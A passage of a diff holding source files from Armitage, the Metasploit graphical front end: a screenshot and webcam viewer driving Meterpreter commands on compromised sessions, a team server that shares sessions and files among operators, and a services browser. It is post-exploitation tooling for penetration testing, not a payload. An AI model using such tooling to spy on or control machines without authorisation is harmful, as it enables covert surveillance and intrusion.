[$db nextServicesIndex];
|
||||
$temp = call($db, "db.services")['services'];
|
||||
}
|
||||
|
||||
[$db nextHostsIndex];
|
||||
return %(hosts => @hosts, services => @services);
|
||||
}
|
||||
|
||||
sub initReporting {
|
||||
global('$poll_lock @events'); # set in the dserver, not in stand-alone Armitage
|
||||
|
||||
wait(fork({
|
||||
global('$db');
|
||||
[$client addHook: "armitage.export_data", &api_export_data];
|
||||
[$client addHook: "armitage.prep_export", &api_prep_export];
|
||||
}, \$client, $mclient => $client, \$preferences, \$yaml_file, \$BASE_DIRECTORY, \$yaml_entry));
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
#
|
||||
# Screenshot viewer... whee?!?
|
||||
#
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
import javax.imageio.*;
|
||||
import java.io.File;
|
||||
|
||||
import ui.*;
|
||||
|
||||
import armitage.*;
|
||||
|
||||
global('%screenshots %webcams');
|
||||
%screenshots = ohash();
|
||||
%webcams = ohash();
|
||||
|
||||
sub image_viewer
|
||||
{
|
||||
local('$panel $viewer $buttons $refresh $watch');
|
||||
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
|
||||
$viewer = [new ZoomableImage];
|
||||
[$panel add: [new JScrollPane: $viewer], [BorderLayout CENTER]];
|
||||
|
||||
$buttons = [new JPanel];
|
||||
[$buttons setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
||||
$refresh = [new JButton: "Refresh"];
|
||||
[$refresh addActionListener: lambda({
|
||||
m_cmd($sid, $command);
|
||||
}, $sid => $2, \$command)];
|
||||
[$buttons add: $refresh];
|
||||
|
||||
$watch = [new JButton: "Watch (10s)"];
|
||||
[$watch addActionListener: lambda({
|
||||
local('$timer');
|
||||
$timer = [new SimpleTimer: 10000];
|
||||
[$timer setRunnable: lambda({
|
||||
if ($sid !in $container) {
|
||||
[$timer stop];
|
||||
}
|
||||
else {
|
||||
m_cmd($sid, $command);
|
||||
}
|
||||
}, \$sid, \$timer, \$container, \$command)];
|
||||
}, $sid => $2, \$container, \$command)];
|
||||
[$buttons add: $watch];
|
||||
[$panel add: $buttons, [BorderLayout SOUTH]];
|
||||
|
||||
[$frame addTab: "$title $2", $panel, lambda({ $container[$key] = $null; size($container); }, $key => $2, \$container), "$title " . sessionToHost($2)];
|
||||
return $viewer;
|
||||
}
|
||||
|
||||
sub update_viewer {
|
||||
if ($0 eq "update" && "*Operation failed*" iswm $2) {
|
||||
showError($2);
|
||||
}
|
||||
else if ($0 eq "update" && $2 ismatch "$type saved to: (.*?)") {
|
||||
local('$file $image $panel');
|
||||
($file) = matched();
|
||||
|
||||
# we're collaborating, so download the file please...
|
||||
if ($client !is $mclient) {
|
||||
$file = getFileProper(cwd(), downloadFile($file));
|
||||
}
|
||||
|
||||
logFile($file, sessionToHost($1), $type);
|
||||
$image = [ImageIO read: [new File: $file]];
|
||||
|
||||
dispatchEvent(lambda({
|
||||
[$container[$id] setIcon: [new ImageIcon: $image]];
|
||||
}, \$container, \$image, $id => $1));
|
||||
|
||||
if (-isFile $file && "*.jpeg" iswm $file) {
|
||||
deleteFile($file);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
setMissPolicy(%screenshots, lambda(&image_viewer, $title => "Screenshot", $command => "screenshot -v false", $container => %screenshots));
|
||||
setMissPolicy(%webcams, lambda(&image_viewer, $title => "Webcam", $command => "webcam_snap -v false", $container => %webcams));
|
||||
|
||||
%handlers["screenshot"] = lambda(&update_viewer, $type => "Screenshot", $container => %screenshots);
|
||||
%handlers["webcam_snap"] = lambda(&update_viewer, $type => "Webcam shot", $container => %webcams);
|
||||
|
||||
sub createScreenshotViewer {
|
||||
return lambda({
|
||||
m_cmd($sid, "screenshot -v false");
|
||||
}, $sid => $1);
|
||||
}
|
||||
|
||||
sub createWebcamViewer {
|
||||
return lambda({
|
||||
m_cmd($sid, "webcam_snap -v false");
|
||||
}, $sid => $1);
|
||||
}
|
||||
@@ -0,0 +1,535 @@
|
||||
#
|
||||
# -= Armitage Network Attack Collaboration Server =-
|
||||
#
|
||||
# This is a separate application. It creates a second interface that Armitage uses
|
||||
# to collaborate with other network attack clients.
|
||||
#
|
||||
# Features include:
|
||||
# - Meterpreter multiplexing (writes take ownership of a session, reads are silently ignored
|
||||
# for non-owner clients).
|
||||
# - Upload/download files (allows feature dependent on files to work)
|
||||
# - Group chat (because everyone loves chatting...)
|
||||
#
|
||||
# This is a proof of concept quickly hacked out (do you see how long this code is?)
|
||||
#
|
||||
# My goal is to eventually see this technology ported to Metasploit's RPC interface
|
||||
# so this second instance can be done away with.
|
||||
#
|
||||
# Any takers? :)
|
||||
#
|
||||
|
||||
debug(7);
|
||||
|
||||
import msf.*;
|
||||
import ssl.*;
|
||||
|
||||
sub result {
|
||||
local('$rv $key $value');
|
||||
$rv = [new HashMap];
|
||||
foreach $key => $value ($1) {
|
||||
[$rv put: "$key", "$value"];
|
||||
}
|
||||
return $rv;
|
||||
}
|
||||
|
||||
sub event {
|
||||
local('$result');
|
||||
$result = formatDate("HH:mm:ss") . " $1";
|
||||
acquire($poll_lock);
|
||||
push(@events, $result);
|
||||
release($poll_lock);
|
||||
}
|
||||
|
||||
sub client {
|
||||
local('$temp $result $method $eid $sid $args $data $session $index $rv $valid $h $channel $key $value $file $response $time $address $app $ver %async %consoles');
|
||||
|
||||
# do these things asynchronously so we don't tie up a client's thread
|
||||
%async['module.execute'] = 1;
|
||||
%async['core.setg'] = 1;
|
||||
%async['console.destroy'] = 1;
|
||||
%async['console.write'] = 1;
|
||||
%async['session.shell_write'] = 1;
|
||||
|
||||
#
|
||||
# verify the client
|
||||
#
|
||||
$temp = readObject($handle);
|
||||
($method, $args) = $temp;
|
||||
if ($method ne "armitage.validate") {
|
||||
writeObject($handle, result(%(error => 1, message => "You're not authenticated")));
|
||||
return;
|
||||
}
|
||||
else {
|
||||
local('$user $pass');
|
||||
($user, $pass, $eid, $app, $ver) = $args;
|
||||
|
||||
if ($user ne $_user || $pass ne $_pass) {
|
||||
warn("Rejected $eid (invalid login)");
|
||||
writeObject($handle, result(%(error => 1, message => "Invalid login.")));
|
||||
return;
|
||||
}
|
||||
else if ($app ne "armitage") {
|
||||
warn("Rejected $eid (wrong application)");
|
||||
writeObject($handle, result(%(error => 1, message => "Your client is not compatible with this server.\nPlease use the latest version of Armitage.")));
|
||||
return;
|
||||
}
|
||||
else if ($ver < 120326) {
|
||||
warn("Rejected $eid (old software -- srsly, update people!)");
|
||||
writeObject($handle, result(%(error => 1, message => "Your client is outdated.\nPlease use the latest version of Armitage.")));
|
||||
return;
|
||||
}
|
||||
else if ($motd ne "" && -exists $motd) {
|
||||
$temp = openf($motd);
|
||||
writeObject($handle, result(%(message => readb($temp, -1))));
|
||||
closef($temp);
|
||||
}
|
||||
else {
|
||||
writeObject($handle, result(%(message => "Collaboration setup!")));
|
||||
}
|
||||
|
||||
if ($eid !is $null) {
|
||||
event("*** $eid joined\n");
|
||||
warn("*** $eid joined");
|
||||
}
|
||||
}
|
||||
|
||||
# limit our replay of the event log to 100 events...
|
||||
acquire($poll_lock);
|
||||
if (size(@events) > 100) {
|
||||
$index = size(@events) - 100;
|
||||
}
|
||||
else {
|
||||
$index = 0;
|
||||
}
|
||||
release($poll_lock);
|
||||
|
||||
#
|
||||
# on our merry way processing it...
|
||||
#
|
||||
while $temp (readObject($handle)) {
|
||||
($method, $args) = $temp;
|
||||
|
||||
if ($method eq "session.meterpreter_read") {
|
||||
($sid) = $args;
|
||||
$result = $null;
|
||||
|
||||
acquire($read_lock);
|
||||
if (-isarray $queue[$sid] && size($queue[$sid]) > 0) {
|
||||
$result = shift($queue[$sid]);
|
||||
}
|
||||
release($read_lock);
|
||||
|
||||
if ($result !is $null) {
|
||||
writeObject($handle, $result);
|
||||
}
|
||||
else {
|
||||
writeObject($handle, result(%(data => "", encoding => "base64")));
|
||||
}
|
||||
}
|
||||
else if ($method eq "session.meterpreter_write") {
|
||||
($sid, $data) = $args;
|
||||
|
||||
#warn("P $sess_lock");
|
||||
acquire($sess_lock);
|
||||
$session = %sessions[$sid];
|
||||
release($sess_lock);
|
||||
#warn("V $sess_lock");
|
||||
|
||||
if ($data ismatch "write -c (\\d+) (.*)\n") {
|
||||
($channel, $data) = matched();
|
||||
|
||||
$file = getFileProper("command $+ $sid $+ . $+ $channel $+ .txt");
|
||||
$h = openf("> $+ $file");
|
||||
writeb($h, "$data $+ \r\n");
|
||||
closef($h);
|
||||
deleteOnExit($file);
|
||||
|
||||
[$session addCommand: $id, "write -f \"" . strrep($file, "\\", "/") . "\" $channel $+ \n"];
|
||||
}
|
||||
else {
|
||||
[$session addCommand: $id, $data];
|
||||
}
|
||||
|
||||
writeObject($handle, [new HashMap]);
|
||||
}
|
||||
else if ($method eq "armitage.lock") {
|
||||
($sid) = $args;
|
||||
acquire($lock_lock);
|
||||
$data = %locks[$sid];
|
||||
if ($data is $null) {
|
||||
%locks[$sid] = $eid;
|
||||
}
|
||||
release($lock_lock);
|
||||
if ($data is $null) {
|
||||
writeObject($handle, result(%()));
|
||||
}
|
||||
else {
|
||||
writeObject($handle, result(%(error => "$data owns this session.")));
|
||||
}
|
||||
}
|
||||
else if ($method eq "armitage.unlock") {
|
||||
($sid) = $args;
|
||||
acquire($lock_lock);
|
||||
$data = %locks[$sid];
|
||||
if ($data is $null || $data eq $eid) {
|
||||
%locks[$sid] = $null;
|
||||
}
|
||||
release($lock_lock);
|
||||
writeObject($handle, result(%()));
|
||||
}
|
||||
else if ($method eq "armitage.log") {
|
||||
($data, $address) = $args;
|
||||
event("* $eid $data $+ \n");
|
||||
call_async($client, "db.log_event", "$address $+ // $+ $eid", $data);
|
||||
writeObject($handle, result(%()));
|
||||
}
|
||||
else if ($method eq "armitage.skip") {
|
||||
acquire($poll_lock);
|
||||
$index = size(@events);
|
||||
release($poll_lock);
|
||||
writeObject($handle, result(%()));
|
||||
}
|
||||
else if ($method eq "armitage.push") {
|
||||
($null, $data) = $args;
|
||||
event("< $+ $[10]eid $+ > " . $data);
|
||||
writeObject($handle, result(%()));
|
||||
}
|
||||
else if ($method eq "armitage.poll") {
|
||||
acquire($poll_lock);
|
||||
if (size(@events) > $index) {
|
||||
$rv = result(%(data => join("", sublist(@events, $index)), encoding => "base64", prompt => "$eid $+ > "));
|
||||
$index = size(@events);
|
||||
}
|
||||
else {
|
||||
$rv = result(%(data => "", prompt => "$eid $+ > ", encoding => "base64"));
|
||||
}
|
||||
release($poll_lock);
|
||||
|
||||
writeObject($handle, $rv);
|
||||
}
|
||||
else if ($method eq "armitage.append") {
|
||||
($file, $data) = $args;
|
||||
|
||||
$h = openf(">>" . getFileName($file));
|
||||
writeb($h, $data);
|
||||
closef($h);
|
||||
|
||||
writeObject($handle, result(%()));
|
||||
}
|
||||
else if ($method eq "armitage.upload") {
|
||||
($file, $data) = $args;
|
||||
|
||||
$h = openf(">" . getFileName($file));
|
||||
writeb($h, $data);
|
||||
closef($h);
|
||||
|
||||
deleteOnExit(getFileName($file));
|
||||
|
||||
writeObject($handle, result(%(file => getFileProper($file))));
|
||||
}
|
||||
else if ($method eq "armitage.download") {
|
||||
if (-exists $args[0] && -isFile $args[0]) {
|
||||
$h = openf($args[0]);
|
||||
$data = readb($h, -1);
|
||||
closef($h);
|
||||
writeObject($handle, result(%(data => $data)));
|
||||
deleteFile($args[0]);
|
||||
}
|
||||
else {
|
||||
writeObject($handle, result(%(error => "file does not exist")));
|
||||
}
|
||||
}
|
||||
else if ($method eq "armitage.download_nodelete") {
|
||||
if (-exists $args[0] && -isFile $args[0]) {
|
||||
$h = openf($args[0]);
|
||||
$data = readb($h, -1);
|
||||
closef($h);
|
||||
writeObject($handle, result(%(data => $data)));
|
||||
}
|
||||
else {
|
||||
writeObject($handle, result(%(error => "file does not exist")));
|
||||
}
|
||||
}
|
||||
else if ($method eq "armitage.downloads") {
|
||||
$response = listDownloads("downloads");
|
||||
writeObject($handle, $response);
|
||||
}
|
||||
else if ($method eq "db.hosts" || $method eq "db.services" || $method eq "db.creds" || $method eq "session.list" || $method eq "db.loots") {
|
||||
$response = [$client_cache execute: $eid, $method, $null];
|
||||
|
||||
if ($args !is $null && -isarray $args && size($args) == 1 && $args[0] == [armitage.ArmitageTimer dataIdentity: $response]) {
|
||||
writeObject($handle, %(nochange => 1));
|
||||
}
|
||||
else {
|
||||
writeObject($handle, $response);
|
||||
}
|
||||
}
|
||||
else if ("db.filter" eq $method) {
|
||||
[$client_cache setFilter: $eid, $args];
|
||||
writeObject($handle, %());
|
||||
}
|
||||
else if ("module.*" iswm $method && size($args) == 0) {
|
||||
# never underestimate the power of caching to alleviate load.
|
||||
$response = $null;
|
||||
|
||||
acquire($cach_lock);
|
||||
if ($method in %cache) {
|
||||
$response = %cache[$method];
|
||||
}
|
||||
release($cach_lock);
|
||||
|
||||
if ($response is $null) {
|
||||
$response = [$client execute: $method];
|
||||
|
||||
acquire($cach_lock);
|
||||
%cache[$method] = $response;
|
||||
release($cach_lock);
|
||||
}
|
||||
|
||||
writeObject($handle, $response);
|
||||
}
|
||||
else if ($method eq "console.create" || $method eq "console.allocate") {
|
||||
$response = [$client execute: $method];
|
||||
$data = [$response get: 'id'];
|
||||
%consoles[$data] = 1;
|
||||
writeObject($handle, $response);
|
||||
}
|
||||
else if ($method eq "console.destroy" || $method eq "console.release") {
|
||||
%consoles[$args[0]] = $null;
|
||||
[$client execute_async: $method, cast($args, ^Object)];
|
||||
writeObject($handle, %());
|
||||
}
|
||||
else if ($method eq "module.execute" && $args[0] eq "payload") {
|
||||
$response = [$client execute: $method, cast($args, ^Object)];
|
||||
writeObject($handle, $response);
|
||||
}
|
||||
else if ($method in %async) {
|
||||
if ($args) {
|
||||
[$client execute_async: $method, cast($args, ^Object)];
|
||||
}
|
||||
else {
|
||||
[$client execute_async: $method];
|
||||
}
|
||||
|
||||
writeObject($handle, %());
|
||||
}
|
||||
else {
|
||||
if ($args) {
|
||||
$response = [$client execute: $method, cast($args, ^Object)];
|
||||
}
|
||||
else {
|
||||
$response = [$client execute: $method];
|
||||
}
|
||||
|
||||
writeObject($handle, $response);
|
||||
}
|
||||
}
|
||||
|
||||
if ($eid !is $null) {
|
||||
event("*** $eid left.\n");
|
||||
}
|
||||
|
||||
# reset the user's filter...
|
||||
[$client_cache setFilter: $eid, $null];
|
||||
|
||||
# cleanup any locked sessions.
|
||||
acquire($lock_lock);
|
||||
foreach $key => $value (%locks) {
|
||||
if ($value eq $eid) {
|
||||
remove();
|
||||
}
|
||||
}
|
||||
release($lock_lock);
|
||||
|
||||
# cleanup any consoles created by not let go of.
|
||||
foreach $key => $value (%consoles) {
|
||||
[$client execute_async: "console.release", cast(@("$key"), ^Object)];
|
||||
}
|
||||
}
|
||||
|
||||
sub main {
|
||||
global('$client $mclient');
|
||||
local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache $handle');
|
||||
|
||||
$auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0];
|
||||
|
||||
#
|
||||
# chastise the user if they're wrong...
|
||||
#
|
||||
if (size(@ARGV) < 5) {
|
||||
println("Armitage deconfliction server requires the following arguments:
|
||||
armitage --server host port user pass
|
||||
host - the address of this host (where msfrpcd is running as well)
|
||||
port - the port msfrpcd is listening on
|
||||
user - the username for msfrpcd
|
||||
pass - the password for msfprcd
|
||||
lport - [optional] port to bind the team server to");
|
||||
[System exit: 0];
|
||||
}
|
||||
|
||||
local('$host $port $user $pass $sport');
|
||||
($host, $port, $user, $pass, $sport) = sublist(@_, 1);
|
||||
|
||||
if ($sport is $null) {
|
||||
$sport = $port + 1;
|
||||
}
|
||||
|
||||
#
|
||||
# some sanity checking
|
||||
#
|
||||
if ($host eq "127.0.0.1") {
|
||||
println("Do not specify 127.0.0.1 as your msfrpcd host. This IP address\nis given to clients and they use it to connect to this server.");
|
||||
[System exit: 0];
|
||||
}
|
||||
|
||||
#
|
||||
# Connect to Metasploit's RPC Daemon
|
||||
#
|
||||
|
||||
$client = [new MsgRpcImpl: $user, $pass, "127.0.0.1", long($port), $null, $null];
|
||||
while ($client is $null) {
|
||||
sleep(1000);
|
||||
$client = [new MsgRpcImpl: $user, $pass, "127.0.0.1", long($port), $null, $null];
|
||||
}
|
||||
$mclient = $client;
|
||||
initConsolePool(); # this needs to happen... right now.
|
||||
|
||||
# set the LHOST to whatever the user specified
|
||||
call_async($client, "core.setg", "LHOST", $host);
|
||||
|
||||
# make sure clients know a team server is present. can't happen async.
|
||||
call($client, "core.setg", "ARMITAGE_TEAM", '1');
|
||||
|
||||
#
|
||||
# setup the client cache
|
||||
#
|
||||
$client_cache = [new RpcCacheImpl: $client];
|
||||
|
||||
#
|
||||
# This lock protects the %sessions variable
|
||||
#
|
||||
$sess_lock = semaphore(1);
|
||||
$read_lock = semaphore(1);
|
||||
$poll_lock = semaphore(1);
|
||||
$lock_lock = semaphore(1);
|
||||
$cach_lock = semaphore(1);
|
||||
|
||||
#
|
||||
# create a thread to push console messages to the event queue for all clients.
|
||||
#
|
||||
fork({
|
||||
global('$r');
|
||||
while (1) {
|
||||
$r = call($client, "console.read", $console);
|
||||
if ($r["data"] ne "") {
|
||||
acquire($poll_lock);
|
||||
push(@events, formatDate("HH:mm:ss") . " " . $r["data"]);
|
||||
release($poll_lock);
|
||||
}
|
||||
sleep(2000);
|
||||
}
|
||||
}, \$client, \$poll_lock, \@events, $console => createConsole($client));
|
||||
|
||||
#
|
||||
# Create a shared hash that contains a thread for each session...
|
||||
#
|
||||
%sessions = ohash();
|
||||
wait(fork({
|
||||
setMissPolicy(%sessions, {
|
||||
warn("Creating a thread for $2");
|
||||
local('$session');
|
||||
$session = [new MeterpreterSession: $client, $2, 0];
|
||||
[$session addListener: lambda({
|
||||
if ($0 eq "commandTimeout" || $2 is $null) {
|
||||
return;
|
||||
}
|
||||
|
||||
acquire($read_lock);
|
||||
|
||||
# $2 = string id of handle, $1 = sid
|
||||
if (%readq[$2][$1] is $null) {
|
||||
%readq[$2][$1] = @();
|
||||
}
|
||||
|
||||
#warn("Pushing into $2 -> $1 's read queue");
|
||||
#println([$3 get: "data"]);
|
||||
push(%readq[$2][$1], $3);
|
||||
release($read_lock);
|
||||
})];
|
||||
return $session;
|
||||
});
|
||||
}, \%sessions, \$client, \%readq, \$read_lock));
|
||||
|
||||
#
|
||||
# get base directory
|
||||
#
|
||||
setupBaseDirectory();
|
||||
|
||||
#
|
||||
# setup the database
|
||||
#
|
||||
checkError($null); # clear the error status...
|
||||
local('$database $error');
|
||||
$database = connectToDatabase();
|
||||
[$client setDatabase: $database];
|
||||
|
||||
if (checkError($error)) {
|
||||
|
||||
println("
|
||||
** Error ** ** Error ** ** Error ** ** Error ** ** Error **
|
||||
|
||||
Could not connect to the Metasploit database. It's possible
|
||||
that it's not running. Follow the database troubleshooting
|
||||
steps at:
|
||||
|
||||
http://www.fastandeasyhacking.com/start
|
||||
|
||||
Also note: the latest Metasploit installer (4.1.4+) does not
|
||||
create a postgres start script for you. This would explain
|
||||
why Metasploit's database isn't running. To create one, put:
|
||||
|
||||
exec $BASE_DIRECTORY $+ /postgresql/scripts/ctl.sh \"\$@\"
|
||||
|
||||
in /etc/init.d/framework-postgres. Then start the database:
|
||||
|
||||
service framework-postgres start");
|
||||
[System exit: 0];
|
||||
}
|
||||
|
||||
# setup the reporting API (must happen after base directory/database is setup)
|
||||
initReporting();
|
||||
|
||||
$server = [new SecureServerSocket: int($sport)];
|
||||
if (checkError($error)) {
|
||||
println("[-] Could not listen on $sport $+ : $error");
|
||||
[System exit: 0];
|
||||
}
|
||||
|
||||
#
|
||||
# spit out the details
|
||||
#
|
||||
println("Use the following connection details to connect your clients:");
|
||||
println("\tHost: $host");
|
||||
println("\tPort: $sport");
|
||||
println("\tUser: $user");
|
||||
println("\tPass: $pass");
|
||||
println("\n\tFingerprint (check for this string when you connect):\n\t" . [$server fingerprint]);
|
||||
println("\n" . rand(@("I'm ready to accept you or other clients for who they are",
|
||||
"multi-player metasploit... ready to go",
|
||||
"hacking is such a lonely thing, until now",
|
||||
"feel free to connect now, Armitage is ready for collaboration")));
|
||||
|
||||
$id = 0;
|
||||
|
||||
while (1) {
|
||||
$handle = [$server accept];
|
||||
if ($handle !is $null) {
|
||||
%readq[$id] = %();
|
||||
fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, \$poll_lock, $queue => %readq[$id], \$id, \@events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass);
|
||||
|
||||
$id++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
invoke(&main, @ARGV);
|
||||
@@ -0,0 +1,93 @@
|
||||
#
|
||||
# Process Browser (for Meterpreter)
|
||||
#
|
||||
|
||||
import table.*;
|
||||
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
import javax.swing.table.*;
|
||||
|
||||
import ui.*;
|
||||
|
||||
sub updateServiceModel {
|
||||
local('$port $row $host');
|
||||
[$model clear: 256];
|
||||
foreach $host ($hosts) {
|
||||
if ($host in %hosts && 'services' in %hosts[$host]) {
|
||||
foreach $port => $row (%hosts[$host]['services']) {
|
||||
[$model addEntry: $row];
|
||||
}
|
||||
}
|
||||
}
|
||||
[$model fireListeners];
|
||||
}
|
||||
|
||||
sub createServiceBrowser {
|
||||
local('$table $model $panel $refresh $sorter $host $copy');
|
||||
|
||||
$model = [new GenericTableModel: @("host", "name", "port", "proto", "info"), "host", 16];
|
||||
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
|
||||
$table = [new ATable: $model];
|
||||
$sorter = [new TableRowSorter: $model];
|
||||
[$sorter toggleSortOrder: 2];
|
||||
[$table setRowSorter: $sorter];
|
||||
|
||||
addMouseListener($table, lambda({
|
||||
if ([$1 isPopupTrigger]) {
|
||||
local('$popup $hosts %r $val');
|
||||
$popup = [new JPopupMenu];
|
||||
|
||||
%r = %();
|
||||
foreach $val ([$model getSelectedValues: $table]) {
|
||||
%r[$val] = 1;
|
||||
}
|
||||
$hosts = keys(%r);
|
||||
|
||||
if (size($hosts) > 0) {
|
||||
host_selected_items($popup, $hosts);
|
||||
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
|
||||
}
|
||||
}
|
||||
}, \$table, \$model));
|
||||
|
||||
[[$table getColumn: "info"] setPreferredWidth: 300];
|
||||
[[$table getColumn: "host"] setPreferredWidth: 125];
|
||||
[$sorter setComparator: 2, { return $1 <=> $2; }];
|
||||
[$sorter setComparator: 0, &compareHosts];
|
||||
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
$refresh = [new JButton: "Refresh"];
|
||||
[$refresh addActionListener: lambda({
|
||||
thread(lambda({
|
||||
local('$services');
|
||||
$services = call($mclient, "db.services");
|
||||
_refreshServices($services);
|
||||
updateServiceModel(\$hosts, \$model);
|
||||
}, \$hosts, \$model));
|
||||
}, \$model, $hosts => $1)];
|
||||
|
||||
$copy = [new JButton: "Copy"];
|
||||
[$copy addActionListener: lambda({
|
||||
local('%r $val $hosts');
|
||||
%r = %();
|
||||
foreach $val ([$model getSelectedValues: $table]) {
|
||||
%r[$val] = 1;
|
||||
}
|
||||
$hosts = keys(%r);
|
||||
setClipboard(join(", ", $hosts));
|
||||
showError("Copied selected hosts to clipboard");
|
||||
}, \$model, \$table)];
|
||||
|
||||
updateServiceModel($hosts => $1, \$model);
|
||||
|
||||
[$panel add: center($refresh, $copy), [BorderLayout SOUTH]];
|
||||
[$frame addTab: "Services", $panel, $null];
|
||||
}
|
||||